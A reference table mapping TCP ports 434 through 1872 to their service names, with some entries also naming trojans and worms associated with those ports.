TCP  434  MobileIP-Agent
TCP  435  MobilIP-MN
TCP  436  DNA-CML
TCP  437  comscm
TCP  438  dsfgw
TCP  439  dasp
TCP  440  sgcp
TCP  441  decvms-sysmgt
TCP  442  cvc_hostd
TCP  443  HTTP protocol over TLS/SSL
TCP  444  Simple Network Paging Protocol
TCP  445  Microsoft-DS
TCP  446  DDM-RDB
TCP  447  DDM-RFM
TCP  448  DDM-SSL
TCP  449  AS Server Mapper
TCP  450  TServer
TCP  451  Cray Network Semaphore server
TCP  452  Cray SFS config server
TCP  453  CreativeServer
TCP  454  ContentServer
TCP  455  CreativePartnr
TCP  456  macon-tcp
TCP  457  scohelp
TCP  458  apple quick time
TCP  459  ampr-rcmd
TCP  460  skronk
TCP  461  DataRampSrv
TCP  462  DataRampSrvSec
TCP  463  alpes
TCP  464  kpasswd
TCP  465  SMTPS
TCP  466  digital-vrc
TCP  467  mylex-mapd
TCP  468  proturis
TCP  469  Radio Control Protocol
TCP  470  scx-proxy
TCP  471  Mondex
TCP  472  ljk-login
TCP  473  hybrid-pop
TCP  474  tn-tl-w1
TCP  475  tcpnethaspsrv
TCP  476  tn-tl-fd1
TCP  477  ss7ns
TCP  478  spsc
TCP  479  iafserver
TCP  480  iafdbase
TCP  481  Ph service
TCP  482  bgs-nsi
TCP  483  ulpnet
TCP  484  Integra Software Management Environment
TCP  485  Air Soft Power Burst
TCP  486  avian
TCP  487  saft Simple Asynchronous File Transfer
TCP  488  gss-HTTP
TCP  489  nest-protocol
TCP  490  micom-pfs
TCP  491  go-login
TCP  492  Transport Independent Convergence for FNA
TCP  493  Transport Independent Convergence for FNA
TCP  494  POV-Ray
TCP  495  intecourier
TCP  496  PIM-RP-DISC
TCP  497  dantz
TCP  498  siam
TCP  499  ISO ILL Protocol
TCP  500  ISAKMP
TCP  501  STMF
TCP  502  asa-appl-proto
TCP  503  Intrinsa
TCP  504  citadel
TCP  505  mailbox-lm
TCP  506  ohimsrv
TCP  507  crs
TCP  508  xvttp
TCP  509  snare
TCP  510  FirstClass Protocol
TCP  511  PassGo
TCP  512  Remote process execution
TCP  513  Remote Login
TCP  514  Remote Shell
TCP  515  spooler
TCP  516  videotex
TCP  517  like tenex link but across
TCP  518  talkd
TCP  519  unixtime
TCP  520  extended file name server
TCP  521  ripng
TCP  522  User Location Service / ULP
TCP  523  IBM-DB2
TCP  524  NCP
TCP  525  timeserver
TCP  526  newdate
TCP  527  Stock IXChange
TCP  528  Customer IXChange
TCP  529  IRC-SERV
TCP  530  rpc
TCP  531  chat
TCP  532  readnews
TCP  533  for emergency broadcasts
TCP  534  MegaMedia Admin
TCP  535  iiop
TCP  536  opalis-rdv
TCP  537  Networked Media Streaming Protocol
TCP  538  gdomap
TCP  539  Apertus Technologies Load Determination
TCP  540  uucpd
TCP  541  uucp-rlogin
TCP  542  commerce
TCP  543  kerberos (v4/v5)
TCP  544  krcmd
TCP  545  appleqtcsrvr
TCP  546  DHCPv6 Client
TCP  547  DHCPv6 Server
TCP  548  AppleShare AFP over TCP
TCP  549  IDFP
TCP  550  new-who
TCP  551  cybercash
TCP  552  deviceshare
TCP  553  pirp
TCP  554  Real Time Stream Control Protocol
TCP  555  phAse Zero backdoor (Win 9x, NT) / dsf
TCP  556  rfs server
TCP  557  openvms-sysipc
TCP  558  SDNSKMP
TCP  559  TEEDTAP / Backdoor.Domwis Win32 trojan
TCP  560  rmonitord
TCP  561  monitor
TCP  562  chcmd
TCP  563  AOL IM / NNTP protocol over TLS/SSL
TCP  564  plan 9 file service
TCP  565  whoami
TCP  566  streettalk
TCP  567  banyan-rpc
TCP  568  microsoft shuttle
TCP  569  microsoft rome
TCP  570  demon
TCP  571  udemon
TCP  572  sonar
TCP  573  banyan-vip
TCP  574  FTP Software Agent System
TCP  575  VEMMI
TCP  576  ipcd
TCP  577  vnas
TCP  578  ipdd
TCP  579  decbsrv
TCP  580  SNTP HEARTBEAT
TCP  581  Bundle Discovery Protocol
TCP  582  SCC Security
TCP  583  Philips Video-Conferencing
TCP  584  Key Server
TCP  585  IMAP4+SSL
TCP  586  Password Change
TCP  587  Message Submission (Sendmail)
TCP  588  CAL
TCP  589  EyeLink
TCP  590  TNS CML
TCP  591  FileMaker Inc. - HTTP Alternate
TCP  592  Eudora Set
TCP  593  HTTP RPC Ep Map
TCP  594  TPIP
TCP  595  CAB Protocol
TCP  596  SMSD
TCP  597  PTC Name Service
TCP  598  SCO Web Server Manager 3
TCP  599  Aeolon Core Protocol
TCP  600  Sun IPC server
TCP  606  Cray Unified Resource Manager
TCP  607  nqs
TCP  608  Sender-Initiated/Unsolicited File Transfer
TCP  609  npmp-trap
TCP  610  Apple Admin Service / npmp-local
TCP  611  npmp-gui
TCP  612  HMMP Indication
TCP  613  HMMP Operation
TCP  614  SSLshell
TCP  615  Internet Configuration Manager
TCP  616  SCO System Administration Server
TCP  617  SCO Desktop Administration Server
TCP  618  DEI-ICDA
TCP  619  Digital EVM
TCP  620  SCO WebServer Manager
TCP  621  ESCP
TCP  622  Collaborator
TCP  623  Aux Bus Shunt
TCP  624  Crypto Admin
TCP  625  DEC DLM
TCP  626  ASIA
TCP  627  PassGo Tivoli
TCP  628  QMQP
TCP  629  3Com AMP3
TCP  630  RDA
TCP  631  IPP (Internet Printing Protocol)
TCP  632  bmpp
TCP  633  Service Status update (Sterling Software)
TCP  634  ginad
TCP  635  RLZ DBase
TCP  636  LDAP protocol over TLS/SSL
TCP  637  lanserver
TCP  638  mcns-sec
TCP  639  MSDP
TCP  640  entrust-sps
TCP  641  repcmd
TCP  642  ESRO-EMSDP V1.3
TCP  643  SANity
TCP  644  dwr
TCP  645  PSSC
TCP  646  LDP
TCP  647  DHCP Failover
TCP  648  Registry Registrar Protocol (RRP)
TCP  649  Aminet
TCP  650  OBEX
TCP  651  IEEE MMS
TCP  652  UDLR_DTCP
TCP  653  RepCmd
TCP  654  AODV
TCP  655  TINC
TCP  656  SPMP
TCP  657  RMC
TCP  658  TenFold
TCP  659  URL Rendezvous
TCP  660  MacOS Server Admin
TCP  661  HAP
TCP  662  PFTP
TCP  663  PureNoise
TCP  664  Secure Aux Bus
TCP  665  Sun DR
TCP  666  doom Id Software
TCP  667  campaign contribution disclosures - SDR Technologies
TCP  668  MeComm
TCP  669  MeRegister
TCP  670  VACDSM-SWS
TCP  671  VACDSM-APP
TCP  672  VPPS-QUA
TCP  673  CIMPLEX
TCP  674  ACAP
TCP  675  DCTP
TCP  676  VPPS Via
TCP  677  Virtual Presence Protocol
TCP  678  GNU Gereration Foundation NCP
TCP  679  MRM
TCP  680  entrust-aaas
TCP  681  entrust-aams
TCP  682  XFR
TCP  683  CORBA IIOP
TCP  684  CORBA IIOP SSL
TCP  685  MDC Port Mapper
TCP  686  Hardware Control Protocol Wismar
TCP  687  asipregistry
TCP  688  REALM-RUSD
TCP  689  NMAP
TCP  690  VATP
TCP  691  MS Exchange Routing
TCP  692  Hyperwave-ISP
TCP  693  connendp
TCP  694  ha-cluster
TCP  695  IEEE-MMS-SSL
TCP  696  RUSHD
TCP  697  UUIDGEN
TCP  698  OLSR
TCP  704  errlog copy/server daemon
TCP  705  AgentX
TCP  706  SILC
TCP  707  W32.Nachi Worm / Borland DSJ
TCP  709  Entrust Key Management Service Handler
TCP  710  Entrust Administration Service Handler
TCP  711  Cisco TDP
TCP  729  IBM NetView DM/6000 Server/Client
TCP  730  IBM NetView DM/6000 send/tcp
TCP  731  IBM NetView DM/6000 receive/tcp
TCP  740  (old) NETscout Control Protocol (old)
TCP  741  netGW
TCP  742  Network based Rev. Cont. Sys.
TCP  744  Flexible License Manager
TCP  747  Fujitsu Device Control
TCP  748  Russell Info Sci Calendar Manager
TCP  749  kerberos administration
TCP  750  rfile
TCP  751  pump
TCP  752  Kerberos password server
TCP  753  Kerberos userreg server
TCP  754  send
TCP  758  nlogin
TCP  759  con
TCP  760  kreg, kerberos/4 registration
TCP  761  kpwd, Kerberos/4 password
TCP  762  quotad
TCP  763  cycleserv
TCP  764  omserv
TCP  765  webster
TCP  767  phone
TCP  769  vid
TCP  770  cadlock
TCP  771  rtip
TCP  772  cycleserv2
TCP  773  submit
TCP  774  rpasswd
TCP  775  entomb
TCP  776  wpages
TCP  777  Multiling HTTP
TCP  780  wpgs
TCP  781  HP performance data collector
TCP  782  node HP performance data managed node
TCP  783  HP performance data alarm manager
TCP  786  Concert
TCP  787  QSC
TCP  799  ControlIT / Remotely Possible
TCP  800  mdbs_daemon / Remotely Possible
TCP  801  device
TCP  808  CCProxy
TCP  810  FCP
TCP  828  itm-mcell-s
TCP  829  PKIX-3 CA/RA
TCP  871  SUP server
TCP  873  rsync
TCP  886  ICL coNETion locate server
TCP  887  ICL coNETion server info
TCP  888  CD Database Protocol
TCP  900  Check Point Firewall-1 HTTP administration / OMG Initial Refs
TCP  901  Samba Web Administration Tool / Realsecure / SMPNAMERES/ NetDevil trojan
TCP  902  VMware Authentication Daemon / IDEAFARM-CHAT
TCP  903  IDEAFARM-CATCH / NetDevil trojan
TCP  911  xact-backup
TCP  912  VMware Authentication Daemon
TCP  989  FTP protocol data over TLS/SSL
TCP  990  FTP protocol control over TLS/SSL
TCP  991  Netnews Administration System
TCP  992  Telnet protocol over TLS/SSL
TCP  993  IMAP4 protocol over TLS/SSL
TCP  994  IRC protocol over TLS/SSL
TCP  995  POP3 protocol over TLS/SSL
TCP  996  vsinet
TCP  997  maitrd
TCP  998  busboy
TCP  999  puprouter
TCP  1000  cadlock
TCP  1002  Microsoft Site Server Internet Locator Service (Netmeeting/ICF)
TCP  1008  UFS-aware server
TCP  1010  surf
TCP  1011  Doly (Windows Trojan)
TCP  1015  Doly (Windows Trojan)
TCP  1023  Reserved
TCP  1024  Reserved
TCP  1025  MSTASK / network blackjack
TCP  1026  MSTASK / Remote Login Network Terminal
TCP  1030  BBN IAD
TCP  1031  InetInfo / BBN IAD
TCP  1032  BBN IAD
TCP  1042  W32.Mydoom.L virus
TCP  1047  Sun's NEO Object Request Broker
TCP  1048  Sun's NEO Object Request Broker
TCP  1049  Tobit David Postman VPMN
TCP  1050  CORBA Management Agent
TCP  1051  Optima VNET
TCP  1052  Dynamic DNS Tools
TCP  1053  Remote Assistant (RA)
TCP  1054  BRVREAD
TCP  1055  ANSYS - License Manager
TCP  1056  VFO
TCP  1057  STARTRON
TCP  1058  nim
TCP  1059  nimreg
TCP  1060  POLESTAR
TCP  1061  KIOSK
TCP  1062  Veracity
TCP  1063  KyoceraNetDev
TCP  1064  JSTEL
TCP  1065  SYSCOMLAN
TCP  1066  FPO-FNS
TCP  1067  Installation Bootstrap Proto. Serv.
TCP  1068  Installation Bootstrap Proto. Cli.
TCP  1069  COGNEX-INSIGHT
TCP  1070  GMRUpdateSERV
TCP  1071  BSQUARE-VOIP
TCP  1072  CARDAX
TCP  1073  BridgeControl
TCP  1074  FASTechnologies License Manager
TCP  1075  RDRMSHC
TCP  1076  DAB STI-C
TCP  1077  IMGames
TCP  1078  eManageCstp
TCP  1079  ASPROVATalk
TCP  1080  Socks / W32.Beagle.AB trojan
TCP  1081  PVUNIWIEN
TCP  1082  AMT-ESD-PROT
TCP  1083  Anasoft License Manager
TCP  1084  Anasoft License Manager
TCP  1085  Web Objects
TCP  1086  CPL Scrambler Logging
TCP  1087  CPL Scrambler Internal
TCP  1088  CPL Scrambler Alarm Log
TCP  1089  FF Annunciation
TCP  1090  FF Fieldbus Message Specification
TCP  1091  FF System Management
TCP  1092  OBRPD
TCP  1093  PROOFD
TCP  1094  ROOTD
TCP  1095  NICELink
TCP  1096  Common Name Resolution Protocol
TCP  1097  Sun Cluster Manager
TCP  1098  RMI Activation
TCP  1099  RMI Registry
TCP  1100  MCTP
TCP  1101  PT2-DISCOVER
TCP  1102  ADOBE SERVER 1
TCP  1103  ADOBE SERVER 2
TCP  1104  XRL
TCP  1105  FTRANHC
TCP  1106  ISOIPSIGPORT-1
TCP  1107  ISOIPSIGPORT-2
TCP  1108  ratio-adp
TCP  1109  Pop with Kerberos
TCP  1110  Cluster status info
TCP  1111  LM Social Server
TCP  1112  Intelligent Communication Protocol
TCP  1114  Mini SQL
TCP  1115  ARDUS Transfer
TCP  1116  ARDUS Control
TCP  1117  ARDUS Multicast Transfer
TCP  1123  Murray
TCP  1127  SUP debugging
TCP  1155  Network File Access
TCP  1161  Health Polling
TCP  1162  Health Trap
TCP  1169  TRIPWIRE
TCP  1178  SKK (kanji input)
TCP  1180  Millicent Client Proxy
TCP  1188  HP Web Admin
TCP  1200  SCOL
TCP  1201  Nucleus Sand
TCP  1202  caiccipc
TCP  1203  License Validation
TCP  1204  Log Request Listener
TCP  1205  Accord-MGC
TCP  1206  Anthony Data
TCP  1207  MetaSage
TCP  1208  SEAGULL AIS
TCP  1209  IPCD3
TCP  1210  EOSS
TCP  1211  Groove DPP
TCP  1212  lupa
TCP  1213  MPC LIFENET
TCP  1214  KAZAA (Morpheus)
TCP  1215  scanSTAT 1.0
TCP  1216  ETEBAC 5
TCP  1217  HPSS-NDAPI
TCP  1218  AeroFlight-ADs
TCP  1219  AeroFlight-Ret
TCP  1220  QT SERVER ADMIN
TCP  1221  SweetWARE Apps
TCP  1222  SNI R&D network
TCP  1223  TGP
TCP  1224  VPNz
TCP  1225  SLINKYSEARCH
TCP  1226  STGXFWS
TCP  1227  DNS2Go
TCP  1228  FLORENCE
TCP  1229  Novell ZFS
TCP  1234  W32.Beagle.Y trojan / Infoseek Search Agent
TCP  1239  NMSD
TCP  1241  Nessus Daemon / remote message service
TCP  1243  SubSeven (Windows Trojan)
TCP  1245  Subseven backdoor remote access tool
TCP  1248  hermes
TCP  1270  Microsoft Operations Manager MOM-Encrypted
TCP  1300  H323 Host Call Secure
TCP  1310  Husky
TCP  1311  RxMon
TCP  1312  STI Envision
TCP  1313  BMC_PATROLDB
TCP  1314  Photoscript Distributed Printing System
TCP  1319  Panja-ICSP
TCP  1320  Panja-AXBNET
TCP  1321  PIP
TCP  1335  Digital Notary Protocol
TCP  1345  VPJP
TCP  1346  Alta Analytics License Manager
TCP  1347  multi media conferencing
TCP  1348  multi media conferencing
TCP  1349  Registration Network Protocol
TCP  1350  Registration Network Protocol
TCP  1351  Digital Tool Works (MIT)
TCP  1352  Lotus Notes
TCP  1353  Relief Consulting
TCP  1354  RightBrain Software
TCP  1355  Intuitive Edge
TCP  1356  CuillaMartin Company
TCP  1357  Electronic PegBoard
TCP  1358  CONNLCLI
TCP  1359  FTSRV
TCP  1360  MIMER
TCP  1361  LinX
TCP  1362  TimeFlies
TCP  1363  Network DataMover Requester
TCP  1364  Network DataMover Server
TCP  1365  Network Software Associates
TCP  1366  Novell NetWare Comm Service Platform
TCP  1367  DCS
TCP  1368  ScreenCast
TCP  1369  GlobalView to Unix Shell
TCP  1370  Unix Shell to GlobalView
TCP  1371  Fujitsu Config Protocol
TCP  1372  Fujitsu Config Protocol
TCP  1373  Chromagrafx
TCP  1374  EPI Software Systems
TCP  1375  Bytex
TCP  1376  IBM Person to Person Software
TCP  1377  Cichlid License Manager
TCP  1378  Elan License Manager
TCP  1379  Integrity Solutions
TCP  1380  Telesis Network License Manager
TCP  1381  Apple Network License Manager
TCP  1382  udt_os
TCP  1383  GW Hannaway Network License Manager
TCP  1384  Objective Solutions License Manager
TCP  1385  Atex Publishing License Manager
TCP  1386  CheckSum License Manager
TCP  1387  Computer Aided Design Software Inc LM
TCP  1388  Objective Solutions DataBase Cache
TCP  1389  Document Manager
TCP  1390  Storage Controller
TCP  1391  Storage Access Server
TCP  1392  Print Manager
TCP  1393  Network Log Server
TCP  1394  Network Log Client
TCP  1395  PC Workstation Manager software
TCP  1396  DVL Active Mail
TCP  1397  Audio Active Mail
TCP  1398  Video Active Mail
TCP  1399  Cadkey License Manager
TCP  1400  Cadkey Tablet Daemon
TCP  1401  Goldleaf License Manager
TCP  1402  Prospero Resource Manager
TCP  1403  Prospero Resource Manager
TCP  1404  Infinite Graphics License Manager
TCP  1405  IBM Remote Execution Starter
TCP  1406  NetLabs License Manager
TCP  1407  DBSA License Manager
TCP  1408  Sophia License Manager
TCP  1409  Here License Manager
TCP  1410  HiQ License Manager
TCP  1411  AudioFile
TCP  1412  InnoSys
TCP  1413  Innosys-ACL
TCP  1414  IBM MQSeries
TCP  1415  DBStar
TCP  1416  Novell LU6.2
TCP  1417  Timbuktu Service 1 Port
TCP  1418  Timbuktu Service 2 Port
TCP  1419  Timbuktu Service 3 Port
TCP  1420  Timbuktu Service 4 Port
TCP  1421  Gandalf License Manager
TCP  1422  Autodesk License Manager
TCP  1423  Essbase Arbor Software
TCP  1424  Hybrid Encryption Protocol
TCP  1425  Zion Software License Manager
TCP  1426  Satellite-data Acquisition System 1
TCP  1427  mloadd monitoring tool
TCP  1428  Informatik License Manager
TCP  1429  Hypercom NMS
TCP  1430  Hypercom TPDU
TCP  1431  Reverse Gossip Transport
TCP  1432  Blueberry Software License Manager
TCP  1433  Microsoft-SQL-Server
TCP  1434  Microsoft-SQL-Monitor
TCP  1435  IBM CICS
TCP  1436  Satellite-data Acquisition System 2
TCP  1437  Tabula
TCP  1438  Eicon Security Agent/Server
TCP  1439  Eicon X25/SNA Gateway
TCP  1440  Eicon Service Location Protocol
TCP  1441  Cadis License Management
TCP  1442  Cadis License Management
TCP  1443  Integrated Engineering Software
TCP  1444  Marcam License Management
TCP  1445  Proxima License Manager
TCP  1446  Optical Research Associates License Manager
TCP  1447  Applied Parallel Research LM
TCP  1448  OpenConnect License Manager
TCP  1449  PEport
TCP  1450  Tandem Distributed Workbench Facility
TCP  1451  IBM Information Management
TCP  1452  GTE Government Systems License Man
TCP  1453  Genie License Manager
TCP  1454  interHDL License Manager
TCP  1455  ESL License Manager
TCP  1456  DCA
TCP  1457  Valisys License Manager
TCP  1458  Nichols Research Corp.
TCP  1459  Proshare Notebook Application
TCP  1460  Proshare Notebook Application
TCP  1461  IBM Wireless LAN
TCP  1462  World License Manager
TCP  1463  Nucleus
TCP  1464  MSL License Manager
TCP  1465  Pipes Platform
TCP  1466  Ocean Software License Manager
TCP  1467  CSDMBASE
TCP  1468  CSDM
TCP  1469  Active Analysis Limited License Manager
TCP  1470  Universal Analytics
TCP  1471  csdmbase
TCP  1472  csdm
TCP  1473  OpenMath
TCP  1474  Telefinder
TCP  1475  Taligent License Manager
TCP  1476  clvm-cfg
TCP  1477  ms-sna-server
TCP  1478  ms-sna-base
TCP  1479  dberegister
TCP  1480  PacerForum
TCP  1481  AIRS
TCP  1482  Miteksys License Manager
TCP  1483  AFS License Manager
TCP  1484  Confluent License Manager
TCP  1485  LANSource
TCP  1486  nms_topo_serv
TCP  1487  LocalInfoSrvr
TCP  1488  DocStor
TCP  1489  dmdocbroker
TCP  1490  insitu-conf
TCP  1491  anynetgateway
TCP  1492  stone-design-1
TCP  1493  netmap_lm
TCP  1494  Citrix/ica
TCP  1495  cvc
TCP  1496  liberty-lm
TCP  1497  rfx-lm
TCP  1498  Sybase SQL Any
TCP  1499  Federico Heinz Consultora
TCP  1500  VLSI License Manager
TCP  1501  Satellite-data Acquisition System 3
TCP  1502  Shiva
TCP  1503  MS Netmeeting / T.120 / Databeam
TCP  1504  EVB Software Engineering License Manager
TCP  1505  Funk Software Inc.
TCP  1506  Universal Time daemon (utcd)
TCP  1507  symplex
TCP  1508  diagmond
TCP  1509  Robcad Ltd. License Manager
TCP  1510  Midland Valley Exploration Ltd. Lic. Man.
TCP  1511  3l-l1
TCP  1512  Microsoft's Windows Internet Name Service
TCP  1513  Fujitsu Systems Business of America Inc
TCP  1514  Fujitsu Systems Business of America Inc
TCP  1515  ifor-protocol
TCP  1516  Virtual Places Audio data
TCP  1517  Virtual Places Audio control
TCP  1518  Virtual Places Video data
TCP  1519  Virtual Places Video control
TCP  1520  atm zip office
TCP  1521  Oracle8i Listener / nCube License Manager
TCP  1522  Ricardo North America License Manager
TCP  1523  cichild
TCP  1524  dtspcd / ingres
TCP  1525  Oracle / Prospero Directory Service non-priv
TCP  1526  Prospero Data Access Prot non-priv
TCP  1527  oracle
TCP  1528  micautoreg
TCP  1529  oracle
TCP  1530  Oracle ExtProc (PLSExtProc) / rap-service
TCP  1531  rap-listen
TCP  1532  miroconnect
TCP  1533  Virtual Places Software
TCP  1534  micromuse-lm
TCP  1535  ampr-info
TCP  1536  ampr-inter
TCP  1537  isi-lm
TCP  1538  3ds-lm
TCP  1539  Intellistor License Manager
TCP  1540  rds
TCP  1541  rds2
TCP  1542  gridgen-elmd
TCP  1543  simba-cs
TCP  1544  aspeclmd
TCP  1545  vistium-share
TCP  1546  abbaccuray
TCP  1547  laplink
TCP  1548  Axon License Manager
TCP  1549  Shiva Hose
TCP  1550  Image Storage license manager 3M Company
TCP  1551  HECMTL-DB
TCP  1552  pciarray
TCP  1553  sna-cs
TCP  1554  CACI Products Company License Manager
TCP  1555  livelan
TCP  1556  AshWin CI Tecnologies
TCP  1557  ArborText License Manager
TCP  1558  xingmpeg
TCP  1559  web2host
TCP  1560  asci-val
TCP  1561  facilityview
TCP  1562  pconnectmgr
TCP  1563  Cadabra License Manager
TCP  1564  Pay-Per-View
TCP  1565  WinDD
TCP  1566  CORELVIDEO
TCP  1567  jlicelmd
TCP  1568  tsspmap
TCP  1569  ets
TCP  1570  orbixd
TCP  1571  Oracle Remote Data Base
TCP  1572  Chipcom License Manager
TCP  1573  itscomm-ns
TCP  1574  mvel-lm
TCP  1575  oraclenames
TCP  1576  moldflow-lm
TCP  1577  hypercube-lm
TCP  1578  Jacobus License Manager
TCP  1579  ioc-sea-lm
TCP  1580  tn-tl-r1
TCP  1581  MIL-2045-47001
TCP  1582  MSIMS
TCP  1583  simbaexpress
TCP  1584  tn-tl-fd2
TCP  1585  intv
TCP  1586  ibm-abtact
TCP  1587  pra_elmd
TCP  1588  triquest-lm
TCP  1589  VQP
TCP  1590  gemini-lm
TCP  1591  ncpm-pm
TCP  1592  commonspace
TCP  1593  mainsoft-lm
TCP  1594  sixtrak
TCP  1595  radio
TCP  1596  radio-sm
TCP  1597  orbplus-iiop
TCP  1598  picknfs
TCP  1599  simbaservices
TCP  1600  Bofra-A worm / issd
TCP  1601  aas
TCP  1602  inspect
TCP  1603  pickodbc
TCP  1604  icabrowser
TCP  1605  Salutation Manager (Salutation Protocol)
TCP  1606  Salutation Manager (SLM-API)
TCP  1607  stt
TCP  1608  Smart Corp. License Manager
TCP  1609  isysg-lm
TCP  1610  taurus-wh
TCP  1611  Inter Library Loan
TCP  1612  NetBill Transaction Server
TCP  1613  NetBill Key Repository
TCP  1614  NetBill Credential Server
TCP  1615  NetBill Authorization Server
TCP  1616  NetBill Product Server
TCP  1617  Nimrod Inter-Agent Communication
TCP  1618  skytelnet
TCP  1619  xs-openstorage
TCP  1620  faxportwinport
TCP  1621  softdataphone
TCP  1622  ontime
TCP  1623  jaleosnd
TCP  1624  udp-sr-port
TCP  1625  svs-omagent
TCP  1626  Shockwave
TCP  1627  T.128 Gateway
TCP  1628  LonTalk normal
TCP  1629  LonTalk urgent
TCP  1630  Oracle Net8 Cman
TCP  1631  Visit view
TCP  1632  PAMMRATC
TCP  1633  PAMMRPC
TCP  1634  Log On America Probe
TCP  1635  EDB Server 1
TCP  1636  CableNet Control Protocol
TCP  1637  CableNet Admin Protocol
TCP  1638  Bofra-A worm / CableNet Info Protocol
TCP  1639  cert-initiator
TCP  1640  cert-responder
TCP  1641  InVision
TCP  1642  isis-am
TCP  1643  isis-ambc
TCP  1644  Satellite-data Acquisition System 4
TCP  1645  datametrics
TCP  1646  sa-msg-port
TCP  1647  rsap
TCP  1648  concurrent-lm
TCP  1649  kermit
TCP  1650  nkd
TCP  1651  shiva_confsrvr
TCP  1652  xnmp
TCP  1653  alphatech-lm
TCP  1654  stargatealerts
TCP  1655  dec-mbadmin
TCP  1656  dec-mbadmin-h
TCP  1657  fujitsu-mmpdc
TCP  1658  sixnetudr
TCP  1659  Silicon Grail License Manager
TCP  1660  skip-mc-gikreq
TCP  1661  netview-aix-1
TCP  1662  netview-aix-2
TCP  1663  netview-aix-3
TCP  1664  netview-aix-4
TCP  1665  netview-aix-5
TCP  1666  netview-aix-6
TCP  1667  netview-aix-7
TCP  1668  netview-aix-8
TCP  1669  netview-aix-9
TCP  1670  netview-aix-10
TCP  1671  netview-aix-11
TCP  1672  netview-aix-12
TCP  1673  Intel Proshare Multicast
TCP  1674  Intel Proshare Multicast
TCP  1675  Pacific Data Products
TCP  1676  netcomm1
TCP  1677  groupwise
TCP  1678  prolink
TCP  1679  darcorp-lm
TCP  1680  microcom-sbp
TCP  1681  sd-elmd
TCP  1682  lanyon-lantern
TCP  1683  ncpm-hip
TCP  1684  SnareSecure
TCP  1685  n2nremote
TCP  1686  cvmon
TCP  1687  nsjtp-ctrl
TCP  1688  nsjtp-data
TCP  1689  firefox
TCP  1690  ng-umds
TCP  1691  empire-empuma
TCP  1692  sstsys-lm
TCP  1693  rrirtr
TCP  1694  rrimwm
TCP  1695  rrilwm
TCP  1696  rrifmm
TCP  1697  rrisat
TCP  1698  RSVP-ENCAPSULATION-1
TCP  1699  RSVP-ENCAPSULATION-2
TCP  1700  mps-raft
TCP  1701  l2tp / AOL
TCP  1702  deskshare
TCP  1703  hb-engine
TCP  1704  bcs-broker
TCP  1705  slingshot
TCP  1706  jetform
TCP  1707  vdmplay
TCP  1708  gat-lmd
TCP  1709  centra
TCP  1710  impera
TCP  1711  pptconference
TCP  1712  resource monitoring service
TCP  1713  ConferenceTalk
TCP  1714  sesi-lm
TCP  1715  houdini-lm
TCP  1716  xmsg
TCP  1717  fj-hdnet
TCP  1718  h323gatedisc
TCP  1719  h323gatestat
TCP  1720  h323hostcall
TCP  1721  caicci
TCP  1722  HKS License Manager
TCP  1723  pptp
TCP  1724  csbphonemaster
TCP  1725  iden-ralp
TCP  1726  IBERIAGAMES
TCP  1727  winddx
TCP  1728  TELINDUS
TCP  1729  CityNL License Management
TCP  1730  roketz
TCP  1731  MS Netmeeting / Audio call control / MSICCP
TCP  1732  proxim
TCP  1733  SIMS - SIIPAT Protocol for Alarm Transmission
TCP  1734  Camber Corporation License Management
TCP  1735  PrivateChat
TCP  1736  street-stream
TCP  1737  ultimad
TCP  1738  GameGen1
TCP  1739  webaccess
TCP  1740  encore
TCP  1741  cisco-net-mgmt
TCP  1742  3Com-nsd
TCP  1743  Cinema Graphics License Manager
TCP  1744  ncpm-ft
TCP  1745  ISA Server proxy autoconfig / Remote Winsock
TCP  1746  ftrapid-1
TCP  1747  ftrapid-2
TCP  1748  oracle-em1
TCP  1749  aspen-services
TCP  1750  Simple Socket Library's PortMaster
TCP  1751  SwiftNet
TCP  1752  Leap of Faith Research License Manager
TCP  1753  Translogic License Manager
TCP  1754  oracle-em2
TCP  1755  Microsoft Streaming Server
TCP  1756  capfast-lmd
TCP  1757  cnhrp
TCP  1758  tftp-mcast
TCP  1759  SPSS License Manager
TCP  1760  www-ldap-gw
TCP  1761  cft-0
TCP  1762  cft-1
TCP  1763  cft-2
TCP  1764  cft-3
TCP  1765  cft-4
TCP  1766  cft-5
TCP  1767  cft-6
TCP  1768  cft-7
TCP  1769  bmc-net-adm
TCP  1770  bmc-net-svc
TCP  1771  vaultbase
TCP  1772  EssWeb Gateway
TCP  1773  KMSControl
TCP  1774  global-dtserv
TCP  1776  Federal Emergency Management Information System
TCP  1777  powerguardian
TCP  1778  prodigy-internet
TCP  1779  pharmasoft
TCP  1780  dpkeyserv
TCP  1781  answersoft-lm
TCP  1782  HP JetSend
TCP  1783  Port 04/14/00 fujitsu.co.jp
TCP  1784  Finle License Manager
TCP  1785  Wind River Systems License Manager
TCP  1786  funk-logger
TCP  1787  funk-license
TCP  1788  psmond
TCP  1789  hello
TCP  1790  Narrative Media Streaming Protocol
TCP  1791  EA1
TCP  1792  ibm-dt-2
TCP  1793  rsc-robot
TCP  1794  cera-bcm
TCP  1795  dpi-proxy
TCP  1796  Vocaltec Server Administration
TCP  1797  UMA
TCP  1798  Event Transfer Protocol
TCP  1799  NETRISK
TCP  1800  ANSYS-License manager
TCP  1801  Microsoft Message Queuing
TCP  1802  ConComp1
TCP  1803  HP-HCIP-GWY
TCP  1804  ENL
TCP  1805  ENL-Name
TCP  1806  Musiconline
TCP  1807  Fujitsu Hot Standby Protocol
TCP  1808  Oracle-VP2
TCP  1809  Oracle-VP1
TCP  1810  Jerand License Manager
TCP  1811  Scientia-SDB
TCP  1812  RADIUS
TCP  1813  RADIUS Accounting / HackTool.SkSocket
TCP  1814  TDP Suite
TCP  1815  MMPFT
TCP  1816  HARP
TCP  1817  RKB-OSCS
TCP  1818  Enhanced Trivial File Transfer Protocol
TCP  1819  Plato License Manager
TCP  1820  mcagent
TCP  1821  donnyworld
TCP  1822  es-elmd
TCP  1823  Unisys Natural Language License Manager
TCP  1824  metrics-pas
TCP  1825  DirecPC Video
TCP  1826  ARDT
TCP  1827  ASI
TCP  1828  itm-mcell-u
TCP  1829  Optika eMedia
TCP  1830  Oracle Net8 CMan Admin
TCP  1831  Myrtle
TCP  1832  ThoughtTreasure
TCP  1833  udpradio
TCP  1834  ARDUS Unicast
TCP  1835  ARDUS Multicast
TCP  1836  ste-smsc
TCP  1837  csoft1
TCP  1838  TALNET
TCP  1839  netopia-vo1
TCP  1840  netopia-vo2
TCP  1841  netopia-vo3
TCP  1842  netopia-vo4
TCP  1843  netopia-vo5
TCP  1844  DirecPC-DLL
TCP  1850  GSI
TCP  1851  ctcd
TCP  1860  SunSCALAR Services
TCP  1861  LeCroy VICP
TCP  1862  techra-server
TCP  1863  MSN Messenger
TCP  1864  Paradym 31 Port
TCP  1865  ENTP
TCP  1870  SunSCALAR DNS Service
TCP  1871  Cano Central 0
TCP  1872  Cano Central 1
